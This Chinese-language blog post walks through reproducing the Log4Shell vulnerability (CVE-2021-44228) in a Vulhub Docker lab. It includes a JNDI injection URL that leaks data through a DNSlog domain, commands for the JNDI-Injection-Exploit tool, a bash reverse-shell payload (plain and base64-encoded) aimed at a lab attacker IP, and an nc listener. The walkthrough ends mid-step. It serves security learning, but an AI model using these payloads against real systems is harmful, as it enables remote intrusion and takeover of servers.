利用Vulhub复现log4j漏洞靶机：攻击：

128 阅读 0 评论 85 点赞

我是靠谱客的博主坚强蛋挞，这篇文章主要介绍利用Vulhub复现log4j漏洞靶机：攻击：，现在分享给大家，希望可以做个参考。

Vulhub 搭建log4j漏洞环境，模拟攻击：

靶机：

首先进入log4j路径

复制代码

1
cd vulhub/log4j/CVE-2021-44228/

搭建环境

复制代码

1
2
3
sudo docker-compose build

sudo docker-compose  up -d

网址输入：http://127.0.0.1:8983/admin/cores

在DNSlog网站生成域名：jkvl0r.dnslog.cn

输入http://127.0.0.1:8983/admin/cores？action=${jndi:ldap://${sys:java.version}.jkvl0r.dnslog.cn}

可以看到：

可以看到Java的版本被输出，测试具有漏洞

攻击：

应用工具JNDI-Injection-Exploit搭建服务：格式：

复制代码

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "ip（攻击机）"

这里的命令是想要靶机运行的命令，-A后放的是发出攻击的电脑的ip，也是存放-C后“命令”的ip地址。

接下来要实现反弹shell，可以用命令

复制代码

1
 bash -i >& /dev/tcp/192.168.237.128/6666 0>&1

注意“命令”必须经过编码，不然将无法实现

复制代码

1
2
──(root????KALI)-[/sda1/bugku/JNDI-Injection-Exploit/target]
└─# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNy4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.237.128"

得到结果：

先打开控制端的监听：

复制代码

1
2
3
4
5
6
┌──(root????KALI)-[/]
└─# sudo nc -lvnp 6666                                                                                                                                                                                130 ⨯
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666

使用bp payload